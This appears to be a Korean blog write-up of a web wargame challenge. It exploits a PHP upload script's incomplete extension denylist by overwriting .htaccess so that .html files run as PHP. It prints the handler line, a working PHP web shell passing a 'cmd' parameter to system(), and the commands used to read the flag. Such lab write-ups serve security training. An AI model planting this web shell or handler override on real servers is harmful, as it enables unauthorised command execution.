Wargame - 웹

Apache htaccess

김가윤 2023. 3. 23. 01:29

 

풀이

 

upload 기능 소스인

upload.php를 보면

파일 업로드 시

"." 문자 뒤 확장자에 대한

검사만 이루어진다.

<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

 

임의 파일인

test.txt를 업로드해 봄

 

/upload 라는 폴더에

업로드한 파일이 저장된다.

 

upload 디렉터리에

임의 파일명을 입력

 

위 오류를 통해

서버는 Apache를 사용하는 것을

확인이 가능하다.

 

upload 디렉터리에

.htaccess 파일이 있는지 확인하니

접근 권한이 없다는 오류 출력하는데

해당 파일이 upload 디렉터리에 있다는 뜻

 

여기서 익스 가능한 부분은

파일을 업로드할 때

PHP 확장자에 대한 검사만 이루어지므로

.htaccess 파일을 덮어쓸 수 있다.

 

아래 내용을 포함하는

.htaccess를 업로드해서 덮어쓰면

.html 확장자를 가진 파일을

PHP로 실행시킨다.

AddHandler application/x-httpd-php .html

 

 

.htaccess 파일을 덮어쓴 후

간단한 웹셸 코드를 포함하는

text.html 파일을 업로드

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

 

/upload/test.html 파일에 접근하면

명령어를 실행하고

결과를 확인할 수 있다.

 

ls -al /를 통해

root 디렉터리 목록을 확인하니

flag라는 파일 존재

 

cat 명령어로

파일 내용을 봐도

아무 내용도 출력되지 않는다.

 

Dockerfile을 보니

flag는 C파일이다.

 

/flag를 실행하니

FLAG 출력

 

'Wargame - 웹' 카테고리의 다른 글

CSRF Advanced  (0) 2023.04.17
CSP Bypass Advanced  (0) 2023.04.14
CSP Bypass  (0) 2023.04.14
XSS Filtering Bypass Advanced  (0) 2023.03.29
[wargame.kr] strcmp & [wargame.kr] login filtering  (0) 2023.03.28